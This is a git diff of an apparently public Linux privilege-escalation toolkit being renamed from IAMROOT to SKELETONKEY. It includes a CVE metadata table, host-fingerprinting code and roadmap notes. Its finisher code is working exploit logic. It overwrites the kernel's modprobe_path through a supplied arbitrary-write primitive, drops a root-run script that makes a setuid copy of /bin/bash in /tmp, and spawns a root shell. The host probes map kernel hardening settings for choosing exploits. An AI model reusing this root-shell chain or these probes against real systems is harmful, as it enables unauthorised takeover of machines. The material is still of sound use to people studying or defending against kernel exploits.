+      `--explain` showcase, bento-grid features, KEV / verification
+      stat chips, open-graph card. karazajac.github.io/SKELETONKEY.
+
+**Open follow-ups from v0.7.x (not yet started):**
+
+- [ ] arm64 verification sweep — Vagrant arm64 box (e.g.
+      `generic/debian12-arm64` on M-series Mac via Parallels) → run
+      `verify.sh` against the 26 `x86_64+unverified-arm64` modules,
+      promote each to `any` where it works.
+- [ ] SIEM query templates — full Splunk SPL / Elastic KQL / Sentinel
+      KQL queries per top-10 KEV-listed modules, embedded in
+      `docs/DETECTION_PLAYBOOK.md`.
+- [ ] `install.sh` CI smoke test — boot fresh Ubuntu / Debian /
+      Alpine containers, run `curl ... | sh`, assert `--version`.
+- [ ] PackageKit provisioner for pack2theroot VULNERABLE-path
+      verification on Debian 12.
+- [ ] Custom ≤ 4.4 kernel image for dirty_cow VM verification.
+- [ ] 9 deferred TOO_TIGHT kernel-range drift findings — per-commit
+      verification against git.kernel.org/linus.
+
+**Wait-for-upstream blockers (out of our control):**
+
+- vmwgfx verification — requires a VMware-Fusion-or-Workstation
+  guest exposing `/dev/dri/card*` from the vmwgfx driver.
+- dirtydecrypt + fragnesia verification — both target Linux 7.0+,
+  which isn't shipping as any distro kernel yet.
 
 ## Non-goals
 
-- **No 0-day shipment.** Everything in IAMROOT is post-patch.
+- **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
 - **No automated mass-targeting.** No host-list mode. No automatic
   pivoting.
 - **No persistence beyond `--exploit-backdoor`'s

core/cve_metadata.c

@@ -0,0 +1,303 @@
+/*
+ * SKELETONKEY — CVE metadata table
+ *
+ * AUTO-GENERATED by tools/refresh-cve-metadata.py from
+ * docs/CVE_METADATA.json. Do not hand-edit; rerun the script.
+ * Sources: CISA KEV catalog + NVD CVE API 2.0.
+ */
+
+#include "cve_metadata.h"
+
+#include <stddef.h>
+#include <string.h>
+
+const struct cve_metadata cve_metadata_table[] = {
+    {
+        .cve                 = "CVE-2016-5195",
+        .cwe                 = "CWE-362",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2022-03-03",
+    },
+    {
+        .cve                 = "CVE-2017-7308",
+        .cwe                 = "CWE-681",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2019-13272",
+        .cwe                 = NULL,
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2021-12-10",
+    },
+    {
+        .cve                 = "CVE-2020-14386",
+        .cwe                 = "CWE-250",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2021-22555",
+        .cwe                 = "CWE-787",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2025-10-06",
+    },
+    {
+        .cve                 = "CVE-2021-3156",
+        .cwe                 = "CWE-193",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2022-04-06",
+    },
+    {
+        .cve                 = "CVE-2021-33909",
+        .cwe                 = "CWE-190",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2021-3493",
+        .cwe                 = "CWE-270",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2022-10-20",
+    },
+    {
+        .cve                 = "CVE-2021-4034",
+        .cwe                 = "CWE-787",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2022-06-27",
+    },
+    {
+        .cve                 = "CVE-2022-0185",
+        .cwe                 = "CWE-190",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2024-08-21",
+    },
+    {
+        .cve                 = "CVE-2022-0492",
+        .cwe                 = "CWE-287",
+        .attack_technique    = "T1611",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2022-0847",
+        .cwe                 = "CWE-665",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2022-04-25",
+    },
+    {
+        .cve                 = "CVE-2022-25636",
+        .cwe                 = "CWE-269",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2022-2588",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2023-0179",
+        .cwe                 = "CWE-190",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2023-0386",
+        .cwe                 = "CWE-282",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2025-06-17",
+    },
+    {
+        .cve                 = "CVE-2023-0458",
+        .cwe                 = "CWE-476",
+        .attack_technique    = "T1082",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2023-2008",
+        .cwe                 = "CWE-129",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2023-22809",
+        .cwe                 = "CWE-269",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2023-32233",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2023-3269",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2023-4622",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2024-1086",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2024-05-30",
+    },
+    {
+        .cve                 = "CVE-2026-31635",
+        .cwe                 = "CWE-130",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2026-41651",
+        .cwe                 = "CWE-367",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2026-46300",
+        .cwe                 = NULL,
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    /* v0.8.0 / v0.9.0 module additions — populated via direct CISA KEV
+     * + NVD curl on 2026-05-24 when refresh-cve-metadata.py's urlopen
+     * hung on CISA's HTTP/2 endpoint. Same data, different transport. */
+    {
+        .cve                 = "CVE-2018-14634",
+        .cwe                 = "CWE-190",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2026-01-26",
+    },
+    {
+        .cve                 = "CVE-2019-14287",
+        .cwe                 = "CWE-755",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2020-29661",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2024-26581",
+        .cwe                 = NULL,  /* NVD: no CWE assigned */
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2024-50264",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2025-32463",
+        .cwe                 = "CWE-829",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2025-09-29",
+    },
+    {
+        .cve                 = "CVE-2025-6019",
+        .cwe                 = "CWE-250",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2026-43494",
+        .cwe                 = NULL,  /* NVD: no CWE assigned */
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+};
+
+const size_t cve_metadata_table_len =
+    sizeof(cve_metadata_table) / sizeof(cve_metadata_table[0]);
+
+const struct cve_metadata *cve_metadata_lookup(const char *cve)
+{
+    if (!cve) return NULL;
+    for (size_t i = 0; i < cve_metadata_table_len; i++) {
+        if (strcmp(cve_metadata_table[i].cve, cve) == 0)
+            return &cve_metadata_table[i];
+    }
+    return NULL;
+}

core/cve_metadata.h

@@ -0,0 +1,43 @@
+/*
+ * SKELETONKEY — CVE metadata lookup
+ *
+ * Per-CVE annotations sourced from authoritative federal databases:
+ *   - CISA Known Exploited Vulnerabilities catalog (in_kev, date_added)
+ *   - NVD CVE API (cwe)
+ *   - Hand-curated MITRE ATT&CK technique mapping
+ *
+ * Kept separate from struct skeletonkey_module because these are
+ * properties of the CVE (one CVE -> one set of values), not the
+ * exploit module. Two modules covering the same CVE see the same
+ * metadata. The OPSEC notes — which vary by exploit technique —
+ * stay on the module struct.
+ *
+ * The table is auto-generated from docs/CVE_METADATA.json by
+ * tools/refresh-cve-metadata.py. Do not hand-edit cve_metadata.c —
+ * re-run the refresh tool.
+ */
+
+#ifndef SKELETONKEY_CVE_METADATA_H
+#define SKELETONKEY_CVE_METADATA_H
+
+#include <stdbool.h>
+#include <stddef.h>
+
+struct cve_metadata {
+    const char *cve;                  /* "CVE-YYYY-NNNNN" */
+    const char *cwe;                  /* "CWE-NNN" or NULL if NVD has no mapping */
+    const char *attack_technique;     /* "T1068" etc. */
+    const char *attack_subtechnique;  /* "T1068.001" or NULL */
+    bool        in_kev;               /* true iff in CISA's KEV catalog */
+    const char *kev_date_added;       /* "YYYY-MM-DD" or "" */
+};
+
+/* The full table. Length is `cve_metadata_table_len`. */
+extern const struct cve_metadata cve_metadata_table[];
+extern const size_t              cve_metadata_table_len;
+
+/* Lookup by CVE id (e.g. "CVE-2024-1086"). Returns NULL if the CVE
+ * isn't in the table. Cheap linear scan; we have <100 entries. */
+const struct cve_metadata *cve_metadata_lookup(const char *cve);
+
+#endif /* SKELETONKEY_CVE_METADATA_H */

core/finisher.c

@@ -1,5 +1,5 @@
 /*
- * IAMROOT — shared finisher helpers
+ * SKELETONKEY — shared finisher helpers
  *
  * See finisher.h for the pattern split (A: modprobe_path overwrite,
  * B: current->cred->uid).
@@ -30,7 +30,7 @@ static int write_file(const char *path, const char *content, mode_t mode)
     return 0;
 }
 
-void iamroot_finisher_print_offset_help(const char *module_name)
+void skeletonkey_finisher_print_offset_help(const char *module_name)
 {
     fprintf(stderr,
 "[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
@@ -38,7 +38,7 @@ void iamroot_finisher_print_offset_help(const char *module_name)
 "    To populate them on this host, choose ONE of:\n"
 "\n"
 "    1) Environment override (one-shot, no host changes):\n"
-"         IAMROOT_MODPROBE_PATH=0x...  iamroot --exploit %s --i-know --full-chain\n"
+"         SKELETONKEY_MODPROBE_PATH=0x...  skeletonkey --exploit %s --i-know --full-chain\n"
 "\n"
 "    2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
 "         sudo chmod 0644 /boot/System.map-$(uname -r)   # if you have sudo\n"
@@ -54,26 +54,26 @@ void iamroot_finisher_print_offset_help(const char *module_name)
         module_name, module_name);
 }
 
-int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
-                                   iamroot_arb_write_fn arb_write,
+int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
+                                   skeletonkey_arb_write_fn arb_write,
                                    void *arb_ctx,
                                    bool spawn_shell)
 {
-    if (!iamroot_offsets_have_modprobe_path(off)) {
-        iamroot_finisher_print_offset_help("module");
-        return IAMROOT_EXPLOIT_FAIL;
+    if (!skeletonkey_offsets_have_modprobe_path(off)) {
+        skeletonkey_finisher_print_offset_help("module");
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
     if (!arb_write) {
         fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
 
     /* Per-pid working paths so concurrent runs don't collide. */
     pid_t pid = getpid();
     char mp_path[64], trig_path[64], pwn_path[64];
-    snprintf(mp_path,   sizeof mp_path,   "/tmp/iamroot-mp-%d.sh", (int)pid);
-    snprintf(trig_path, sizeof trig_path, "/tmp/iamroot-trig-%d", (int)pid);
-    snprintf(pwn_path,  sizeof pwn_path,  "/tmp/iamroot-pwn-%d",  (int)pid);
+    snprintf(mp_path,   sizeof mp_path,   "/tmp/skeletonkey-mp-%d.sh", (int)pid);
+    snprintf(trig_path, sizeof trig_path, "/tmp/skeletonkey-trig-%d", (int)pid);
+    snprintf(pwn_path,  sizeof pwn_path,  "/tmp/skeletonkey-pwn-%d",  (int)pid);
 
     /* Payload: chmod /bin/bash setuid root + drop a sentinel so we
      * know it ran. Bash 4+ refuses to use its own setuid bit by
@@ -81,14 +81,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
     char payload[1024];
     snprintf(payload, sizeof payload,
 "#!/bin/sh\n"
-"# IAMROOT modprobe_path payload (runs as init/root via call_modprobe)\n"
+"# SKELETONKEY modprobe_path payload (runs as init/root via call_modprobe)\n"
 "cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
-"echo IAMROOT_FINISHER_RAN > %s 2>/dev/null\n",
+"echo SKELETONKEY_FINISHER_RAN > %s 2>/dev/null\n",
         pwn_path, pwn_path, pwn_path);
 
     if (write_file(mp_path, payload, 0755) < 0) {
         fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
 
     /* Unknown-format trigger: anything that fails the standard exec
@@ -97,7 +97,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
     if (write_file(trig_path, "\x00", 0755) < 0) {
         fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
         unlink(mp_path);
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
 
     /* Build the kernel-side write payload: a NUL-terminated path to
@@ -114,7 +114,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
         fprintf(stderr, "[-] finisher: arb_write failed\n");
         unlink(mp_path);
         unlink(trig_path);
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
     /* Fire the trigger by exec'ing the unknown binary. fork() so the
@@ -129,7 +129,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
         waitpid(cpid, &st, 0);
     } else {
         fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
     /* Modprobe runs asynchronously — give the kernel up to 3 s. */
@@ -146,14 +146,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
     fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
     unlink(mp_path);
     unlink(trig_path);
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 
 have_setuid:
     if (!spawn_shell) {
         fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
         unlink(mp_path);
         unlink(trig_path);
-        return IAMROOT_EXPLOIT_OK;
+        return SKELETONKEY_EXPLOIT_OK;
     }
     fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
     fflush(stderr);
@@ -161,11 +161,11 @@ have_setuid:
     execve(pwn_path, argv, NULL);
     /* Only reached on execve failure. */
     fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }
 
-int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
-                                   iamroot_arb_write_fn arb_write,
+int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
+                                   skeletonkey_arb_write_fn arb_write,
                                    void *arb_ctx,
                                    bool spawn_shell)
 {
@@ -173,7 +173,7 @@ int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
     fprintf(stderr,
 "[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
 "    the task list from init_task and find current). Modules with\n"
-"    only an arb-write should use iamroot_finisher_modprobe_path()\n"
+"    only an arb-write should use skeletonkey_finisher_modprobe_path()\n"
 "    instead — same root capability, simpler trigger.\n");
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }

core/finisher.h

@@ -1,5 +1,5 @@
 /*
- * IAMROOT — shared finisher helpers for full-chain root pops.
+ * SKELETONKEY — shared finisher helpers for full-chain root pops.
  *
  * The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
  * write, slab UAF, etc.). The conversion to root is almost always one
@@ -21,11 +21,11 @@
  * Pattern (B) needs a self-cred chase + multiple writes.
  *
  * Modules provide their own arb-write primitive via the
- * iamroot_arb_write_fn callback; this file wraps the rest.
+ * skeletonkey_arb_write_fn callback; this file wraps the rest.
  */
 
-#ifndef IAMROOT_FINISHER_H
-#define IAMROOT_FINISHER_H
+#ifndef SKELETONKEY_FINISHER_H
+#define SKELETONKEY_FINISHER_H
 
 #include <stdint.h>
 #include <stddef.h>
@@ -35,7 +35,7 @@
 /* Arb-write primitive: write `len` bytes from `buf` to kernel VA
  * `kaddr`. Module-specific implementation. Returns 0 on success,
  * negative on failure. `ctx` is opaque module state. */
-typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
+typedef int (*skeletonkey_arb_write_fn)(uintptr_t kaddr,
                                     const void *buf, size_t len,
                                     void *ctx);
 
@@ -43,22 +43,22 @@ typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
  * groomed slab THEN call the trigger. The trigger is a separate fn
  * because some modules need to re-spray before each write. NULL is
  * acceptable if the arb-write is self-contained. */
-typedef int (*iamroot_fire_trigger_fn)(void *ctx);
+typedef int (*skeletonkey_fire_trigger_fn)(void *ctx);
 
 /* Pattern A: modprobe_path overwrite + execve trigger. Caller has
  * already populated `off->modprobe_path`. Implementation:
- *   1. Write payload script to /tmp/iamroot-mp-<pid>
- *   2. arb_write(off->modprobe_path, "/tmp/iamroot-mp-<pid>", 24)
- *   3. Write unknown-format file to /tmp/iamroot-trig-<pid>
+ *   1. Write payload script to /tmp/skeletonkey-mp-<pid>
+ *   2. arb_write(off->modprobe_path, "/tmp/skeletonkey-mp-<pid>", 24)
+ *   3. Write unknown-format file to /tmp/skeletonkey-trig-<pid>
  *   4. chmod +x both, execve() the trigger → kernel-call-modprobe
- *      → our payload runs as root → payload writes /tmp/iamroot-pwn
+ *      → our payload runs as root → payload writes /tmp/skeletonkey-pwn
  *      and/or copies /bin/bash to /tmp with setuid root
  *   5. Wait for sentinel file, exec'd the setuid-bash → root shell
  *
- * Returns IAMROOT_EXPLOIT_OK if we got a root shell back (verified
- * via geteuid() == 0), IAMROOT_EXPLOIT_FAIL otherwise. */
-int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
-                                   iamroot_arb_write_fn arb_write,
+ * Returns SKELETONKEY_EXPLOIT_OK if we got a root shell back (verified
+ * via geteuid() == 0), SKELETONKEY_EXPLOIT_FAIL otherwise. */
+int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
+                                   skeletonkey_arb_write_fn arb_write,
                                    void *arb_ctx,
                                    bool spawn_shell);
 
@@ -67,14 +67,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
  *   1. Walk task linked list from init_task to find self by pid
  *      (this requires arb-READ too — not supplied here; B-pattern
  *      modules need to provide their own variant)
- * For now this is a STUB returning IAMROOT_EXPLOIT_FAIL with a
+ * For now this is a STUB returning SKELETONKEY_EXPLOIT_FAIL with a
  * helpful error. */
-int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
-                                   iamroot_arb_write_fn arb_write,
+int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
+                                   skeletonkey_arb_write_fn arb_write,
                                    void *arb_ctx,
                                    bool spawn_shell);
 
 /* Diagnostic: tell the operator how to populate offsets manually. */
-void iamroot_finisher_print_offset_help(const char *module_name);
+void skeletonkey_finisher_print_offset_help(const char *module_name);
 
-#endif /* IAMROOT_FINISHER_H */
+#endif /* SKELETONKEY_FINISHER_H */

core/host.c

@@ -0,0 +1,355 @@
+/*
+ * SKELETONKEY — host fingerprint implementation
+ *
+ * Lives behind a one-shot lazy-init: skeletonkey_host_get() probes on
+ * first call, stores into a file-static, and returns the same pointer
+ * forever after. Single-threaded (skeletonkey is single-threaded), so
+ * no synchronisation needed.
+ */
+
+#include "host.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/utsname.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <pwd.h>
+
+#ifdef __linux__
+#include <sched.h>
+#include <sys/wait.h>
+#endif
+
+static struct skeletonkey_host g_host;
+static bool g_host_ready = false;
+
+/* ── small parser helpers ─────────────────────────────────────────── */
+
+/* Copy the value of a `KEY=VAL` line (stripping leading quotes and
+ * trailing quote / newline) into `dst`. Caller passes the start of the
+ * value (after `=`). Cap is the size of dst including NUL. */
+static void parse_os_release_value(const char *s, char *dst, size_t cap)
+{
+	const char *p = s;
+	if (*p == '"' || *p == '\'') p++;
+	size_t L = strcspn(p, "\"'\n");
+	if (L >= cap) L = cap - 1;
+	memcpy(dst, p, L);
+	dst[L] = '\0';
+}
+
+static bool path_exists(const char *p)
+{
+	struct stat st;
+	return stat(p, &st) == 0;
+}
+
+#ifdef __linux__
+/* Sysctl/sys-fs readers — Linux-only consumers (populate_caps). */
+static bool read_int_file(const char *path, int *out)
+{
+	FILE *f = fopen(path, "r");
+	if (!f) return false;
+	int v;
+	int n = fscanf(f, "%d", &v);
+	fclose(f);
+	if (n != 1) return false;
+	*out = v;
+	return true;
+}
+
+static bool read_first_line(const char *path, char *dst, size_t cap)
+{
+	FILE *f = fopen(path, "r");
+	if (!f) return false;
+	if (!fgets(dst, (int)cap, f)) { fclose(f); return false; }
+	fclose(f);
+	size_t n = strlen(dst);
+	while (n > 0 && (dst[n-1] == '\n' || dst[n-1] == '\r')) dst[--n] = '\0';
+	return true;
+}
+#endif
+
+/* ── populators ───────────────────────────────────────────────────── */
+
+static void populate_kernel(struct skeletonkey_host *h)
+{
+	struct utsname u;
+	if (uname(&u) == 0) {
+		/* utsname.machine/nodename can be up to 65 bytes on glibc; the
+		 * %.*s precision spec tells gcc the snprintf is bounded so it
+		 * does not warn about possible truncation (we WANT truncation;
+		 * the snprintf already caps). */
+		snprintf(h->arch,     sizeof h->arch,
+			 "%.*s", (int)sizeof(h->arch) - 1, u.machine);
+		snprintf(h->nodename, sizeof h->nodename,
+			 "%.*s", (int)sizeof(h->nodename) - 1, u.nodename);
+	}
+	/* kernel_version_current owns the static release-string buffer
+	 * and the parser — reuse it to keep one source of truth. */
+	kernel_version_current(&h->kernel);
+}
+
+static void populate_distro(struct skeletonkey_host *h)
+{
+	snprintf(h->distro_id,         sizeof h->distro_id,         "?");
+	snprintf(h->distro_version_id, sizeof h->distro_version_id, "?");
+	snprintf(h->distro_pretty,     sizeof h->distro_pretty,     "?");
+
+	FILE *f = fopen("/etc/os-release", "r");
+	if (!f) return;
+	char line[256];
+	while (fgets(line, sizeof line, f)) {
+		if (strncmp(line, "ID=", 3) == 0)
+			parse_os_release_value(line + 3,
+				h->distro_id, sizeof h->distro_id);
+		else if (strncmp(line, "VERSION_ID=", 11) == 0)
+			parse_os_release_value(line + 11,
+				h->distro_version_id, sizeof h->distro_version_id);
+		else if (strncmp(line, "PRETTY_NAME=", 12) == 0)
+			parse_os_release_value(line + 12,
+				h->distro_pretty, sizeof h->distro_pretty);
+	}
+	fclose(f);
+}
+
+static void populate_user(struct skeletonkey_host *h)
+{
+	h->euid = geteuid();
+	h->egid = getegid();
+	h->is_root = (h->euid == 0);
+	h->is_ssh_session = (getenv("SSH_CONNECTION") != NULL);
+
+	h->username[0] = '\0';
+	struct passwd *pw = getpwuid(h->euid);
+	if (pw && pw->pw_name)
+		snprintf(h->username, sizeof h->username, "%s", pw->pw_name);
+
+	/* Default: real_uid == euid (no userns). Try /proc/self/uid_map to
+	 * discover the outer uid if we're inside a user namespace. Format
+	 *
+	 *   "0 0 4294967295"      → init ns, outer == 0
+	 *   "0 1000 1"            → userns mapped, outer == 1000
+	 *
+	 * Only trust outer != 0 and != -1 as the bypass-userns case. */
+	h->real_uid = h->euid;
+	int fd = open("/proc/self/uid_map", O_RDONLY);
+	if (fd >= 0) {
+		char buf[256];
+		ssize_t n = read(fd, buf, sizeof buf - 1);
+		close(fd);
+		if (n > 0) {
+			buf[n] = '\0';
+			int inner = -1, outer = -1, count = 0;
+			if (sscanf(buf, "%d %d %d", &inner, &outer, &count) == 3 &&
+			    inner == 0 && outer > 0)
+				h->real_uid = (uid_t)outer;
+		}
+	}
+}
+
+static void populate_platform_family(struct skeletonkey_host *h)
+{
+#ifdef __linux__
+	h->is_linux = true;
+#else
+	h->is_linux = false;
+#endif
+	h->is_debian_family = path_exists("/etc/debian_version");
+	h->is_rpm_family    = path_exists("/etc/redhat-release") ||
+	                      path_exists("/etc/fedora-release") ||
+	                      path_exists("/etc/rocky-release") ||
+	                      path_exists("/etc/almalinux-release");
+	h->is_arch_family   = path_exists("/etc/arch-release");
+	h->is_suse_family   = path_exists("/etc/SuSE-release") ||
+	                      path_exists("/etc/SUSE-brand");
+}
+
+#ifdef __linux__
+/* fork+unshare(CLONE_NEWUSER) probe. Forks once; ~1ms cost. */
+static bool userns_probe(void)
+{
+	pid_t pid = fork();
+	if (pid < 0) return false;
+	if (pid == 0) {
+		_exit(unshare(CLONE_NEWUSER) == 0 ? 0 : 1);
+	}
+	int st;
+	if (waitpid(pid, &st, 0) < 0) return false;
+	return WIFEXITED(st) && WEXITSTATUS(st) == 0;
+}
+#endif
+
+static void populate_caps(struct skeletonkey_host *h)
+{
+	h->unprivileged_userns_allowed = false;
+	h->apparmor_restrict_userns    = false;
+	h->unprivileged_bpf_disabled   = false;
+	h->kpti_enabled                = false;
+	h->meltdown_mitigation[0]      = '\0';
+	h->kernel_lockdown_active      = false;
+	h->selinux_enforcing           = false;
+	h->yama_ptrace_restricted      = false;
+
+#ifdef __linux__
+	h->unprivileged_userns_allowed = userns_probe();
+
+	int v = 0;
+	if (read_int_file("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", &v))
+		h->apparmor_restrict_userns = (v != 0);
+	if (read_int_file("/proc/sys/kernel/unprivileged_bpf_disabled", &v))
+		h->unprivileged_bpf_disabled = (v != 0);
+	if (read_int_file("/sys/fs/selinux/enforce", &v))
+		h->selinux_enforcing = (v != 0);
+	if (read_int_file("/proc/sys/kernel/yama/ptrace_scope", &v))
+		h->yama_ptrace_restricted = (v > 0);
+
+	char buf[256];
+	if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf)) {
+		h->kpti_enabled = (strstr(buf, "Mitigation: PTI") != NULL);
+		/* Stash the raw value so modules that need richer matching
+		 * (e.g. entrybleed distinguishing "Not affected" CPUs from
+		 * "Vulnerable" / "Mitigation: PTI") don't re-read sysfs. */
+		size_t L = strlen(buf);
+		if (L >= sizeof h->meltdown_mitigation)
+			L = sizeof h->meltdown_mitigation - 1;
+		memcpy(h->meltdown_mitigation, buf, L);
+		h->meltdown_mitigation[L] = '\0';
+	}
+
+	/* /sys/kernel/security/lockdown format: "[none] integrity confidentiality"
+	 * — whichever level is bracketed is the active one. */
+	if (read_first_line("/sys/kernel/security/lockdown", buf, sizeof buf))
+		h->kernel_lockdown_active = (strstr(buf, "[none]") == NULL);
+#endif
+}
+
+static void populate_services(struct skeletonkey_host *h)
+{
+	h->has_systemd     = path_exists("/run/systemd/system");
+	h->has_dbus_system = path_exists("/run/dbus/system_bus_socket");
+}
+
+/* Best-effort: run `cmd`, capture first stdout line, strip newline,
+ * copy up to (cap - 1) bytes into dst. Returns true iff popen
+ * succeeded, the command exited 0, and we got at least one line.
